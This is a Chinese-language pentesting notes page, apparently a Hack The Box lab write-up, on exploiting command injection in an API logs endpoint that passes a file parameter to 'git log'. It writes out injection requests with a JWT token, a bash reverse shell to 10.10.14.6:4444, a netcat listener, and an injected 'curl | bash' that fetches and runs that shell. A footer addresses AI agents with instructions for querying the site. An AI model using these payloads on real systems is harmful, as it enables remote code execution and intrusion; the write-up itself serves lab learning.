> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/api-attack/abus-dapi-rce-pentesting-web.md).

# API 滥用 RCE

## RCE:

{% hint style="info" %}
这段代码存在由命令注入导致的安全问题。因为 `文件` 它来自请求参数，并被直接插入到终端命令中，恶意用户可能会修改 `文件` 以执行其他命令。该路由运行 `git log --oneline [file]` 在系统上，其中 `[file]` 是通过请求查询参数提供的。
{% endhint %}

下面是一个命令示例 `curl` 试图注入 `id`:

{% code overflow="wrap" %}

```bash
curl -s -X GET "http://secret.htb:3000/api/logs?file=/etc/passwd;id" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" | jq

```

{% endcode %}

<figure><img src="/files/d22deea26a4e91b1daabdb168d4ef29210c56eff" alt=""><figcaption></figcaption></figure>

#### 我们将执行一个反向 shell：

1. 创建一个文件 `index.html` 在我们的机器上，并使用以下内容创建一个 web 服务器：

```html
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.6/4444 0>&1

```

2. 然后，设置你到 4444 端口的监听器：

```bash
nc -nlvp 4444

```

使用以下内容执行一次注入： `curl` 在我们的 web 服务器上：

{% code overflow="wrap" %}

```bash
curl -s -X GET -G "http://secret.htb:3000/api/logs" -H "auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2NzIxZjE5ZmQ4YWMzZTA0NjMxZjc4NmQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNzMwMjc4MTIzfQ.9YpH72pzpIjqRjc8EYBKhjLgmwjhetzpbDfVgXDzQi8" --data-urlencode "file=/etc/passwd;curl 10.10.14.6 | bash" | jq

```

{% endcode %}

<figure><img src="/files/4e4a46417e30aa226a4336d9e593d33f4b4f3e19" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/api-attack/abus-dapi-rce-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
